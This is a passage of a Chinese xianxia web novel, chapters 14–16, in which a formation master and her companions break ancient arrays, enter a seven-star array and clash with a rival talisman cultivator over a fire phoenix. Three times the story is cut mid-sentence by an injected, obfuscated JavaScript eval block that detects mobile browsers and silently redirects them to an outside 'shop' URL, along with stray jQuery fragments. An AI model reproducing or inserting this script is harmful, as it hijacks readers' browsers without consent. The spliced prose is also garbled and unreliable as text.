如参天大树般的大柱拦在他们面前,这些建筑的檐、梁都是金丝楠木,脚边的黄花梨残片也不知道出自哪个家具,足以证明废墟此前富丽堂皇。
大柱后面有一块匾,字迹已经残破,但不难辨认。
“虚无缥缈。这是何意?”东霜自问自答:“难道是传说中的青崖?”
“若寻青崖仙,必在虚无缥缈处。”苍乐道。
“传闻青崖仙人与天地同生,却不屑为神,只想做个逍遥散人,三族中人若需要帮助,只需备一只五足鸟身兔首作祭祀之物,于每年雨水前后,对着雨水升腾的雾气叩拜,即可见到青崖仙人,他会实现你一个愿望。”
“霜~你这么了解,是不是拜过他?”文玉以藤条掩嘴,凑到东霜耳旁,作偷摸状,可声音丝毫未小半分。
“我才不信这些呢,我只相信我自己。可若真按照民间所说,此人被赋予了神的能力,可他却不愿承担神的责任,这种仙能是什么好仙。说好听了,逍遥散人,说难听了,就是窝囊。”
苍乐问道:“那你认为修行当如何?”
“我认为,修行之人虽然目的各异,但在大是大非面前,在天地大难之时,就该站出来,冲锋陷阵。”
苍乐无声浅笑,眼神中掠过一丝欣赏。
“我同意啊!”祝炎道。
琉璃也微微一笑:“突然想到了我们当初修行的时候,也是这般年少轻狂。”
“热血~热血~既然如此,那这阵就由我来破吧,也让我再体验一下年少轻狂~”文玉手中的藤蔓变成了一把通体晶莹、泛着绿光的无鞘长剑:“一花一世界~”
他只将剑横在面前,轻轻一挥,手中的剑变成了数以万计的腊梅花瓣,在那废墟中飞舞缭乱。
那花瓣又如万千利刃,割裂了阵法,“嘭”的一声,红色的花瓣中骤然充溢着褐色的灵力,托着星星点点的花瓣,像一颗绽放的梅花树。
14. 爱之劫·上篇14
“不是?就这么一挥手,阵法就破了?”东霜仿佛受到了侮辱,脸上红一阵白一阵。
“怎么样?我这招美不美?”梅花聚拢,所到之处,阵阵花香,花香裹着灵力,让人身心愉悦。回到文玉手中的时候又变成了一根不起眼的藤蔓。
“美。”东霜敷衍道。
“诶~东霜同修,别丧气呀,我们几个好歹也是高阶,此等低阶阵法都破不了的话,那不是空有一身修为。”
虽然文玉从不显山露水,但东霜又何尝不知他的厉害,只是落差太大,她的心灵受到了小小的震撼。
“我还以为这阵法只有我能破呢……那你们第一阵为何不出手?”
“并非我们不想出手,即便是强行破阵也要遵循五行流转,第一阵要以火破阵。”琉璃扫了眼祝炎,祝炎也认真的等她的后续:“偏偏祝炎是个笨蛋,好在你有无垢火,才能破阵。”
祝炎不服气的努了努嘴,但也确实,第一阵的时候,他也是第一次觉得自己一身神力无处使。
文玉继续道:“这第二阵也不用我说了,需以水破阵,不过你这个阵中阵倒是出乎意料。而这第三阵就更好辨别了,以木破阵。”
“第二阵,应了她的八一劫,现在还剩下生劫和死劫。”琉璃接过了东霜祈求的目光:“你放心,我答应帮你破境,便会负责到底。”
琉璃从草木青上取了一根银针,交给东霜:“兵器有灵,品阶越高的兵器,其器灵更厉害,更忠诚,也更难驯服,器灵与主人心意相通,你拿着这根银针,关键时刻可保你无虞。”
“难怪祝余山上的神器异动,会惊动护山大阵。”东霜无心的一句,让苍乐的脸色变的严肃。
“神器是不会突然异动的,除非有外物侵袭。”
“还是赶紧破阵吧,阵中时间过得太快,浑然不觉,我还要出去锄强扶弱呢!”祝炎催促道。
破开三阵并未见到婴鸟报喜,东霜心生疑惑。
“你们看。”
循着苍乐所指的方向,废墟的正上方,层层云雾间,还有一座古建筑,建筑中传来的深沉钟声,应该是一座古庙。
苍乐判断:“若三阵也为阵中阵,那上面的建筑中,必有另一阵法。又或者,三阵和四阵相连,需一起破除,但不管怎么说,婴鸟未现,身后无路可走,前方已是尽头,我们必须往上面去。”
“那我们速速上去吧。”
祝炎话音刚落,再次提溜着东霜到了这古建筑上。
如她所想,是一座古庙。身后亦是万丈云梯与下面的废墟相连。
还好没爬上来,这云梯连台阶都掩在云雾中,比石阶更让人不安。东霜心想。
“东霜~这座庙可比下面的宫殿值钱啊~”文玉若有所思的打量着:“这座庙是由星辰碎片拼出来的。”
“星辰碎片?”东霜问道。
“你们两个人到此,谁心中想着古庙啊?”文玉用藤蔓点了点祝炎和东霜。
“我。”东霜不明所以。
“那就是了。星辰碎片就只是碎片,没有具体的形态,只因你心中所想,它就变成你想看到的样子。”
“嗯?怎么心中所想不是金灵珠?”苍乐调侃道。
“不管想啥,要是能带走就好了。”那古庙星光闪闪,看的东霜直眼红。
星光?天什么时候黑了?明明阵中不辨四季,不分昼夜。
东霜来不及深究,就已经随着众人迈入了古刹,墙边、灯炷都用莲花盛着烛火,院中有一座莲花塔。
若是放在寻常百姓间,早就纷纷投钱许愿了。
莲花塔的莲花瓣上刻着图,东霜从最底层的看起,绕着莲花塔走了一圈,才终于看完整,原来每一朵莲花便是一个阵法,莲花瓣上则刻着阵法解构图。
这些阵法复杂精妙,绝非东霜在书上所见,许是几个时代以前的某位大能设计的。
东霜仔仔细细的将布局之法记在脑中。
正看的出神,一层层莲花混着火焰缓慢的转了起来,那火焰红的发黑,刺眼灼热,逼得东霜连连后退。
莲花塔的另一端传来祝炎的声音:“这果然是红莲业火。”
“同修?我正在摄取力量呢,怎么一把火给烧了?”东霜绕到了祝炎那边,这塔烧的火光冲天,也不知如何停下。
“对不起啊,我觉得此处的火有些不同,那些盛火烛的莲花,也都是火焰化成的,所以就用无垢试了一试。”
东霜仔细对比了一番,无垢火为红蓝火焰,靠近只会感到无限热量,而莲花塔的火焰为红黑,单单看着眼睛就刺痛无比。东霜问道:“那无垢净火与红莲业火相比如何?”
“无垢净火和红莲业火乃一阴一阳,一柔一刚,各有千秋吧,只是这红莲业火存在于苍梧之野的熔岩之中,出现在此,想必也是星辰碎片所幻化。”
那莲花塔越转越快,已经看不出任何形状,就剩一个大火堆。
东霜无比惋惜,那些个绝妙的阵法也藏身火海了。
再往里面走,便是大殿。
大殿中供奉的并非佛像,而是神,传说中的创世祖神,左边是四位灵族大帝,右边是四位人族天尊。
琉璃正虔诚跪拜,双手于胸前结印,行修行之人的最高礼仪。
东霜站在门槛前,其余三人也未入殿,她问道:“我不信神,所以不拜,你们为何见神不拜?”
“虽然祖神创世,但我乃麒麟子,麒麟天生地养,所以我不拜。”
“我么。”文玉故弄玄虚:“诶,我不告诉你。”
“行行行,我也不是很想知道。”东霜转脸问祝炎:“你呢?”
“师傅比天大,我只拜凤凰。”
待琉璃拜完,众人继续向里走,大殿身后是一座玲珑塔。
这玲珑塔外表看着只有大殿的一半,内里却暗藏玄机。
塔内有无限空间,地上星辰轮转,步步生星,抬头看去,星宿熠熠生辉。
“上古七星阵。”东霜脱口而出,四周很安静,其他人脸上并没有新鲜的表情,反而在寻找。
“你也知道这阵法?”她问了离她最近的苍乐。
“嗯。我就是为此而来的。”
这七星阵有何玄机?
东霜回忆着,太初阵录记载,七星阵由七宿组成,七宿又属四灵,若四灵应五行,则谓之御阵,可召唤祖神坐下四位大帝的灵身,护阵主无虞。斗转星移,若七宿应四季时序,则七星撼岁月,七星阵亦为杀阵,可扭转时间,颠倒阴阳。
东霜的金刚阵便是参考了七星阵的布阵之法。
此阵虽罕见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241477|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但放在此处,想必也只是一个禁锢阵法,为何他们三人却看的如此认真,仿佛走火入魔一般。
“有了。”文玉惊喜的走到了七星阵中,星光聚于一身,脚下是星辰大海,周身一圈圈环着木灵力,梅花花瓣顺着灵力流动。
角宿属木为龙角,亢宿属金为龙颈,氐宿属土为龙胸,心宿属火为龙腰,尾宿属火为龙尾,五宿凝聚,便是东方苍龙。
“老木头?”苍龙游身,已不见文玉踪迹,东霜扑了个空,她站在阵中,呆愣愣的,像在感受文玉留下的灵力,又像好戏退场后的谢幕。
“就这么走了,还口口声声说把我当女儿……”东霜垂着头,草木最是无情,她叹了口气,向其余三人走去,琉璃与她相对而走,看起来像是被七星阵吸引,站到了文玉站过的地方。
抬头看去,七星阵的星宿大变,朱雀落于阵眼,展翅啼鸣,琉璃如幼崽一般,被朱雀环抱,双双消失。
“你们不走吗?”东霜眼神空洞的看着阵眼,声音有一丝不稳,虽不确定又带着希望。
“还没到。”苍乐凝神看着七星的变化,丝毫没察觉到东霜的情绪。
在星宿变化了一个轮回之后,苍乐走进了七星阵阵眼,依旧苍龙游身,可这苍龙与文玉的那条龙却大不相同。
东霜定睛一看,竟是尾宿星数不同,眼前这龙单足蛇形,是为春之夔龙,如此一来,文玉唤出的乃是冬之相柳。
“这七星阵不愧是上古大阵,七宿对五行,五行应四时,四时唤灵兽,灵兽寓于七宿。”
“你嘀嘀咕咕说啥呢,苍乐都没影了。”祝炎仍握着无垢,站在原地,也没有要入阵的意思。
“我说,这龙乃是四时之龙,对应春夏秋冬。”东霜看着他清澈的眼神,话到嘴边,没了继续解释的欲望。
她问:“祝炎,你呢?你不走吗?”
“你都在这,我走去哪?”
东霜咬了咬后槽牙,心脏一激灵,差点就泪眼汪汪了,虽然她知道祝炎是为了报恩才留下来,但此时此刻,她仍然很感动。
“那我们也入阵吧。”
“那刚刚也什么不和他们一起进去?”
“阵法一旦启动,旁人是无法靠近的。”
祝炎还想问什么,但说话间,两人已经站在了阵眼之上,他禁了声,偷瞄着四周。
“你好像很期待?”东霜蹲了下来,还是觉得累,干脆席地而坐,她已经很久没有睡觉了。
祝炎有些腼腆:“刚刚他们被神兽带走的样子很帅。”
东霜看着不断变化的星宿,耸了耸肩:“那你希望要落空了,我们并不能入阵。”
祝炎也学着东霜,在她身旁盘腿而坐,手托着脑袋,充满希冀,转头看着东霜:“你可是排行第一的阵师,一定可以的!”
东霜苦笑了一下。
她看着前方,没有焦点,身边飘着随时变化的星宿,脑海里像翻书一样,一张张阵法图翻过,依旧没有头绪。
坐着也累,她向后躺倒,看着一望无际的天空,若不是知道身处玲珑塔内,还真以为在某处旷野之中,卧看满天星斗。
我就是为此而来的。
脑中如闪电一般划过苍乐说的这句话。东霜仰卧起坐,拎着祝炎站了起来:“我知道要怎么入阵了。”
15. 爱之劫·上篇15
“祝炎,你的愿望是什么?”
“我要成为英雄,不是普通的英雄,是救人于水火,救世界于危难,无可取代的英雄。”
“那祝你心想事成。”东霜点了点头,继续问:“除这个之外呢?比如灵宝、神器?”
祝炎思考了一番:“我想要凤翎。”
“那你的愿望马上就要实现了。”
东霜看着星宿变化,奎、娄、胃、昴、毕、参、觜,七星相连成虎,五行为金,四时为秋,立刻施法:“以吾金灵,召白虎!”
“我还没准备……”
“好。”
祝炎以一个扭曲的姿势被白虎扔出了空间阵。而白虎驮着东霜从空间阵中缓步走出,屈足,虎身微微倾斜,东霜几乎是顺着柔软的虎毛滑下来的,她揉了揉白虎的脑袋,白虎贴了贴她,她又拍了拍白虎的屁股:“谢谢虎咪。”
白虎灵光一闪,消失的无影无踪。
“身为神兽,怎么还区别对待呢!还有你!同修,我姿势还没摆好,就启阵了,我帅气的离场就这么没了。”祝炎爬起来,活动了一下筋骨,虽然嘴上抱怨着,但踩在陌生的地方,身体不由自主的紧绷。
东霜搪塞了两句:“抱歉啊同修,下次一定等你。”
东霜与祝炎背对而站,手上随时捏着阵法,也是一刻都不敢懈怠。
他们所立之地,是一片皲裂的熔岩平原,土地的缝隙偶有几滴岩浆溢出,坑洼的路面上有着和土地颜色相近的岩浆湖泊,几条岩浆交错横流,再往远处,灰雾缭绕中,依稀可见一座喷发的火山,四周除了他俩之外,没有任何生灵。
抬头望去,是一片澄净的天空。
不,那不是天空,那是冰。
“冰火两重天!”东霜和祝炎异口同声的说道。
两人见没有危险,便放下心来,向前方的吊桥走去。
东霜边走边说:“传闻上古时期,凤凰一脉被祖神收作坐骑,凤凰本就自视甚高,又仗着祖神撑腰,便更加放肆的在灵族掠夺与扩张。但凤凰有一个与生俱来的死敌,便是霜鸟。霜鸟临危受命,要替灵族替天行道,便和凤凰一脉最强的火凤大战了十天十夜。后来惊动了祖神,祖神便划了这冰火两重天,将两人永世困于此。”
祝炎感叹:“仇敌日日相见却不能杀,太痛苦了。”
两人站在吊桥前,面面相觑,这吊桥的踏板支离破碎,铁链也被融化的只剩铁皮在支撑,吊桥下的岩浆炼狱距离吊桥不过一人高,飞溅的岩浆洒在桥上发出滋滋声。
“飞过去?”东霜五官皱在一起,转头询问祝炎。
祝炎将无垢棍往吊桥上方扔,无垢棍刚走一半就又折返回来,棍身被烧的黑漆漆的,祝炎帮他擦了擦灰:“唉,看来是飞不过去了。”
再一看,东霜背对着他蹲着,祝炎好奇的也蹲了下来:“你在干什么?”
东霜正一点点的将岩浆引入罐子:“这凤凰熔岩有火凤的灵力,可以炼成火灵石,还有上面的九天玄冰,是炼水灵石的好材料,若是有机会,我也想带走。”
“凤凰熔岩还能驱邪呢,你要不先进去滚一圈,去去身上的邪气。”祝炎起身不再顾她,扭头去寻找上岸的办法。
“何不食肉糜啊~”东霜装了三罐子的岩浆,终于心满意足:“走吧,祝炎,我们去找火凤。”
祝炎瞬移到东霜近前:“你知道怎么过去了?”
”嗯!往那边走。“东霜指了指火山喷发的地方,又指了指地缝中的岩浆:“你看,岩浆之中的灵力,此处最弱,越是往火山的方向,越盛。”
“可是那边也全都是岩浆,甚至连站立的地方都没有。”祝炎眺望着远方,远处升腾着热浪,以至于产生了海市蜃楼之景,水塘在灰雾中若隐若现,仿若仙池。
“路也许会骗人,可灵力不会。信我,先过去看看,反正这边也走不通。”
祝炎将信将疑的跟着东霜穿过灰雾,带着东霜几下就跳到了靠近火山口的一处小山坡上。
进入灰雾之后,别有洞天,眼前豁然开朗,火山口在喷吐着岩浆,如火红的花瓣向四周展开,岩浆铺满了地面,小山坡像蘑菇一样在岩浆里扎根生长,东霜和祝炎便站在其中一颗蘑菇上。火山口正上方有一枚与山口等大的蛋,蛋上的裂纹闪闪发光,似乎马上要孵化了。
岩浆经过之处,没有丝毫温度,碎石落入不见水花,悉数被岩浆吞没,就像沼泽。
火山口的山脚下,几乎每个蘑菇墩上都站了人,他们相互挨着,辨识不能。
“此处有斩阎罗的灵力,崇阿也在这。”祝炎道。
蘑菇墩数不清,墩子上的人更是数不清,看起来一个墩子就是一个阵营,东霜想都没想,扯着祝炎就想往崇阿那里去:“俗话说得好,出门靠朋友,尤其是有能力的朋友,我们速速与他汇合罢。”
祝炎眼皮一跳,东霜的性子他已摸的七不离八,怕不是嫌他靠不住,赶紧找个靠山。
“嗷~”伴着一声尖锐的长啸,火山朝天喷发,一道火焰柱贯穿天地,凤凰浴火,破壳而出,火焰染红了天空,像熟透的冻柿子。
火山山脚下的人群骚动起来,那方空间被各式各样的法术填满,祝炎带着东霜在混乱中,精准落到祝余山弟子的领地。
崇阿双指夹着符咒,细长的眼睛撇了一眼东霜和祝炎,他双指翻转,随着符咒换面,此起彼伏的哀嚎声也从其他石墩子传来。
那些被岩浆包围的石墩子上布满了赭色的符纸,符咒跃然纸上,上面的修者四肢撑地,只能依靠背部力量对抗符咒重压。
他们所在的石墩子,就像是高高在上的王,正接受众人朝拜。
偶有几个格格不入的高阶修者,站立施法,苦苦支撑,以至于脚下的石头碎裂,继而被岩浆吞噬。
剩下的人在这一刻共脑,集体施法,想要破除符咒之威,可面对的是祝余山首席弟子,是天才符修。
他指尖的符纸在掌心旋转,变成了一只形似笔的尖刺。
原来这就是他的法器,斩阎罗。东霜暗道。
斩阎罗再次化为一张符被崇阿捏于两指间,符咒在他指尖散发着灵力。
"嘭!"
"啪!"
剩下的人,一个接一个,像气球一般,爆裂,消散。
东霜气都不敢出,这是高阶修者的威压。
而祝炎,双手抱胸,皱眉看着这一切。
脚下的岩浆没到石墩,火山口还在喷吐,火山口上方的凤凰幼崽抱着翅膀,将头埋在翅膀中,像母体中的婴儿。
嘶叫声从外面回到了耳边,岩浆像长了手,凡沾到之人,皆被拖入泥沼,化为养料,站在外围的祝余山弟子接连消失,石墩子也不再是安全之地。
崇阿指尖的符化为刺,用斩阎罗在空中画了一道符,一艘宝船从符中缓缓驶出,祝余山弟子纷纷跳上船。
祝炎带着东霜立于无垢上,他们原也想上船,但船身笼罩着一层灵力,似乎只有祝余山弟子凭山门腰牌才可进入。那船直接朝着凤凰飞去。
“祝炎,看来他们也想要凤凰。”
“我只想要凤翎,应该和他不冲突吧。”祝炎有些顾虑。
“你可知那七星阵什么来头?”
“无上防御阵法?”
“是也不是。”东霜卖了个关子,看着祝炎拧成麻花的双眉,莞尔一笑,继续道:“那七星阵由星辰碎片幻化而成,里面蕴含星辰之力,星辰之力可藏精魂。所以七星阵中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241478|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四灵兽其实是分身。四灵兽乃天地孕育,不入轮回,我猜想,设立此阵法之人,是想给四灵兽留得一缕精魂,只要精魂尚在,即便身死,也可复苏。”
“那和我想要的凤翎有什么关系?”
“凡入阵之人皆有欲,而四灵兽是镇守四方的瑞兽,瑞兽现世,欲望必达。”
“哦~”祝炎摇头晃脑,一副明白的样子:“所以,有欲望就能破阵,而且欲望必定实现。”
东霜看着凤凰缓慢的将脖颈从翅膀中抽出,凤眼懵懂,扫视着火山周围,远远的,她只看到一双红宝石般的眼睛,看着她,眼睛从丹凤睁成了杏眼。
凤凰张开双翼,仰天长啸,灵力的波漾一浪一浪的朝东霜袭来,她一手用金刚阵抵御,一手还要保持平衡,声音艰难:“虽然欲望必定实现,可也不知道会如何实现。”
金刚阵的护阵金刚在凤凰灵力的冲击之下,被燃烧殆尽,东霜暴露在外面,从衣角开始燃烧,她手忙脚乱的掸着身上的火,手还没碰上,皮肤就被灼烧的溃烂。
凤凰挥动翅膀,声音灌入耳中,头痛欲裂,氧气也更加稀薄,东霜只能大口呼吸,被高温蒸出来的腥味,让她直反胃。
她从万物阵中拿出天吴精魂:"以吾之灵,召天吴!"
一道蓝色的灵力从她手心扩大,灵力所到之处,伤口愈合,衣物重塑。
天吴人面虎身,以其身躯将东霜和祝炎罩在灵力之中,
她看了眼祝炎,祝炎面色惨白,双唇之间可见血色,他的灵力尚未恢复。
祝炎定了定神,缓慢的呼出一口气:“又被你救了。”
“顺便为之。”东霜摆了摆手,又叹了口气,虽然用了天吴精魂很心痛,但毕竟为了保命。
天吴用它八个脑袋将凤凰散发的灵力和火焰全都吞噬,高温干旱之地下起了罕见的绿雨。
凤凰的翅膀垂在身侧,眼睛一直看着东霜和祝炎的方向。
“是火凤幼崽。”祝炎双手拢成火焰状,指尖青焰流转,颔首施礼。
火凤那红宝石般的眼睛灼的东霜眼睛疼,但两人又像是在较劲,谁都不肯移眼。
崇阿带着众祝余山弟子已至火凤近旁,几张黄色符咒从船中飞出,扎根在火凤周围,粗壮的锁链破符而出,绕成囚笼。
铁笼不断挤压火凤的生存空间,火凤虽是幼崽,但毕竟是天生地养的灵兽,它轻轻挥动翅膀,散落的飞羽化为利刃,“唰唰”几下,那看似坚硬的铁链像纸片一般,清脆断裂。
在众人未曾反应过来的时候,一颗火球横穿绿雨,所过之处,雾气升腾。
东霜下意识的再次驱动天吴,天吴不仅没有加强灵力,反而变回了精魂,回到了她手心。
她只觉胸中拥堵,一口鲜血咳了出来。
低阶唤仙,本就凶险万分,东霜受到了天吴的反噬。
失去了天吴的庇佑,原以为要被火凤灼烧殆尽,可火凤停在了距他们一丈远的地方,“叽喳”叫了两声。
两人见火凤并无敌意,祝炎也向火凤伸出了手:“许是它闻到了我身上的凤凰气息。”
“但愿如此吧。”东霜心里怯怯的,偷偷打量那通身赤红的火凤幼崽。
脚下突然失重,无垢不知何时回到了祝炎手中,东霜对坠落习以为常,淡定的布了一手金刚阵。
金刚阵外是一长串的符纸,将她团团围住,她看了眼祝炎,祝炎亦被困于符咒中,他大喊了一声:“崇阿!”
那些符像一口铁钟将两人镇压,崇阿的船也从火凤身后露出,崇阿立于船头,手握斩阎罗。
东霜看不清船上的全貌,但能感觉到,那双凤眼中传来的杀气。
“怎么,你们也想成为我的符下魂?”
16. 爱之劫·上篇16
“崇阿,我只需要一片凤翎,与你所求并不排斥!”祝炎持棍立于空中,而崇阿则捏着符箓,两人僵持不下。
“火凤的凤翎有其一缕精魂,而我想要完整的凤凰精魂,你我注定为敌。”
“你要杀了火凤,取其精魂?”祝炎紧握无垢,火焰沿棍身而走。
崇阿冷哼一声:“你境界大跌,已远不如我,作为同修,我劝你莫要来送死。”
他身后的数十位祝余山弟子,以山门玉牌为符,将火风团团围住,崇阿双指一挥,符箓飞到了火凤足下,与其他玉牌一起,连成炉鼎。
竟然想当场炼化。东霜看着上方发生的一切,却疏忽了自身的危险。
金刚阵顶上裂了一道口子,在她周围有四张符箓,符中的尖刺不断收缩攻击,其中一张符从裂缝中了钻进来,一团火球正在符箓的正面蓄力。
“二道炎符。既如此,不如试试新改阵法的威力。”东霜自言自语。
火球逐渐靠近,已经来不及念诀,只得从万物中拿出五枚低阶灵石,直接施法布阵。
她正反手相合,一张八卦五行四象阵的基本阵图随双掌相离被放大在面前,五颗灵石在东霜的施法下全部落位。
东霜神情专注,丹唇轻启:“碎霄!破!”
阵如弓,灵如箭,箭矢劈开火球,刺向符箓。
“三道盾符。”
一个微不可察,与符纸同色的盾挡住了箭的进攻。
三道符箓已经是中阶的威力,东霜已经有些疲于应对,若非屏着一口气,箭矢怕是早就被弹回来了。
“不过一张破纸!”东霜咬紧牙关,又拿出五枚中阶灵石,落在阵法中。
“给我破!”
万千箭矢从阵中射出,箭雨漫天,如流星划过天际,四张符箓在空中化为灰烬。
东霜使用了中阶灵石致使灵力枯竭,仅留一个自保的金刚阵在脚下流转,才让她不至于跌落岩浆。
“破了符箓又如何,借来的灵力终归不是正统。”崇阿脚下生符箓,离开了大船,居高临下的看着东霜。
“如果正统是要做你这种背信弃义的人,那我,偏就要做那异端?”
东霜用余光看到祝炎被一张符箓打的连连败退,六道符咒,以土灵力为引,召六道轮回之物。
“既是异端,我作为祝余山大弟子,理应替天行道。”
笔锋游走间,一道符咒从天而降,把东霜压跪在金刚阵中。
这符咒无形,与画符人的灵力直接相关,东霜根本无法反抗,就没入了岩浆。
岩浆绵密冰冷,一张嘴,就如湿泥灌入,鼻腔被岩浆堵住,没有呼吸的空间,头昏脑胀,胸部闷疼。
眼前逐渐模糊,越沉底越觉得温暖,底下也许是一片桃源之地,让人趋之若鹜。
在最后一点意识消失的时候,她内心想的却是岩浆里为什么有那么多的木桩子。
-
崇阿在浆面上冷眼看着,即便是看不见东霜的位置。他嘴角划过嘲讽,双指施法,斩阎罗轻舞,浆面上铺满了困魂符,土色灵力与金红岩浆交相辉映。
在他身后,祝余山弟子长时间消耗灵力,已有疲势。火凤在符箓鼎中,翅膀包裹着身躯,炉火越烧越旺。祝炎对阵六道符咒,越战越勇,隐有破境之象。
“既是实力为尊,那你死的不冤。”崇阿在空无一人的浆面上扔下这句话,头也不回的朝火凤飞去,他要速战速决。
崇阿以斩阎罗为笔,洛尘为墨,天地为纸,画完符咒的最后一捺,每一个笔画仿佛活了一般,蹦跳着进了符箓鼎。
船上的祝余山弟子也被活泼的笔画感染,其中一位兴奋道:“是大师兄的化灵咒!再加把劲,这凤凰马上就能被炼化了。”
祝余山弟子们听了之后,士气鼓舞,使出了吃奶的力气,将所剩不多的灵力全都灌注在山门令牌上。
崇阿见状,想上前再添一把火,刚迈左脚,身体快速后仰,一根火棍擦过他的脸颊,又在他周身绕了一圈火云,画地为牢。
他用斩阎罗轻轻一刺,就像一滴水落在纸上洇开了。
火云消散,无垢又直冲他的面门,与此前不同的是,这次无垢的顶端还有一张六道符箓。
他用斩阎罗的刺尖抵着无垢的棍底,间隙,他看到祝炎正神气的抱臂看着他。
“喂!崇阿!我还要谢谢你,助我重回巅峰!”
崇阿起先不解,他注意到了斩阎罗和无垢之间的六道符箓,这才明白,原来祝炎利用了六道符箓中的人道和天道,加速了自己的破境渡劫。
“哼,还不算太笨。”
祝炎飞身过来握住无垢棍,一捅一抡,崇阿下腰后撤,持斩阎罗从无垢下方游到祝炎身前,正手直刺祝炎心脏。
祝炎侧身,换手握住无垢,无垢如游龙从他掌心穿过,回身搅动,两人拉开了一棍的距离。
崇阿左手扔出五张符箓,祝炎双手持棍,跳跃前劈,被符箓挡住,崇阿闪身到祝炎身后,右手斩阎罗刺向他后颈。
祝炎压弯无垢,微微侧头,无垢回弹,敲向崇阿的间隙,侧身一扭,再次双手握住无垢,往前送,直刺崇阿肩袖。
崇阿左手捏着符箓,虽挡下重击,却被灵力震的后退数十步。
祝炎收了势,单手握棍,凌空而敲,红而青的火焰环着他的身体,眼珠也如凤凰之眼,暗红透亮。
同境之中,火灵最强,祝炎以绝对的自信,看着崇阿:“你打不过我的,若你继续进攻,就不要怪我不念往日情分。”
“是吗?”崇阿手中的斩阎罗化为符箓,在掌心之上旋转,岩浆上的困魂符像一张捕到猎物的网,须臾间,便将祝炎罩住。
掌心的符箓被崇阿双指捏住,他道:“狂妄之人就该埋骨于此。”
他双指捏着符箓,与地平形,从左往右缓慢移动,符箓划开虚空,双指一松,符箓钻进虚空。
“今天让你见识一下真正的六道轮回。”
虚空在捕猎网中再现,一双发红的眼睛在虚空中张望,一柄重剑飞出,在狭小的空间劈砍祝炎。
来自阿修罗道的战魂从虚空踏步而来。
崇阿的身侧亦有两道虚空之口,那是人道六欲和无尽天道,他想向祝炎一样,用轮回之力破境。
可他眼眶漆黑,土色的灵力中带了一缕灰色,分明是邪气入侵之相。
-
岩浆深处有一股吸力,拉着东霜不断下沉,在刚感受到灼热的时候,五感瞬失,皮肤焦化,露出白骨。
魂魄附在白骨上继续下沉,直到骨头化为灰烬。
“滴答”,“滴答”,水滴声在东霜脑中被无限放大,“嗵”,一记闷棍敲开了东霜的双眼。
她一睁眼,就看到了始作俑者:“劫?”
“我不是劫,我是你的一缕神识,被石心封印在了灵海中。”
灵海?东霜所坐的地方是一方莲花台,莲花台漂浮在金光闪闪的五色流水上,一层淡淡的红色火焰随着水流摇曳,空中飘着八卦、五行、四象。
东霜摊开手,太初阵录就出现在她手上,她的手轻轻一抬,太初阵录中的一切都了然于心。
心中想着阵法,便有数个阵法就出现在她面前供她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241479|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对比。
万事万物唾手可得。
“果然和传说中的一样,那这些水就是我的灵力?”
神识道:“是你的灵力,但你无法取用。你的灵海被石心封印,所以你只能借天地灵力修炼。”
“这石心到底从何而来?”
“这石心伴天地异变而来。”
“如何破解?”
“解铃还须系铃人。”
眼前这位和她长得一模一样的人,脸上一直挂着淡淡的笑,温柔沉稳,如大地之母,给人以春风和煦之感。
她的额间有一抹若隐若现的印记,看不清形状。
“你为何修行?”
突然的问题,让东霜一愣,虽然她没有转头,但东霜觉得她的打量还是被看到了。
东霜悻悻的回答道:“为了变强。”
“为何要变强?”
“为了……成为具体的人。”
“何为具体的人?”
“打破规则人的呗。”
她转过头来看着东霜,脸上的笑容消失了,她继续问道:“如果,你所行之事,会让你历尽万劫,踏白骨而行,也在所不惜吗?”
那双眼睛虽然看着东霜,但又像透过东霜看着未来的某一角,东霜的胃突然一抽,这酸涩蔓延到了胸口,最后她紧了紧牙关,咽下了这个感觉,深吸一口气,缓慢而坚定的说道:“在所不惜。”
她又恢复了先前的表情。
水面上的火势变大了,除莲花台外周围的一切都在缓慢的融化,滴落的液体经由高温重铸成新的物体。
东霜觉得自己浑身都在发烫,神识伸出右手双指,东霜看了一眼,亦将自己的左手双指覆盖在她手上。
东霜体内灵力翻涌,筋骨重铸,血肉重塑,再睁开眼,已置身一片火海,哪还有岩浆的踪迹。
东霜握了握拳,掌心灵力溢出,身体很轻,因灵力使用过度而损耗的身体此刻充满了力量。
灵魂稳稳的落在身体里,此前的旧伤也消失了。
三阶大成!还有破境之势。
她立刻原地盘腿而坐,于凤凰火中,涅槃、破境、悟道。
一声尖锐的鸣叫划过天际,火凤在她头上盘桓,火凤上面还坐着祝炎,正朝着她挥手示意。
“东霜!”
“祝炎!”东霜单手施法,踏阵而上。
火凤靠在她身边,扑腾了两下翅膀,祝炎翻译道:“我大哥让你上来坐。”
”几日不见,你还拜了个大哥?”
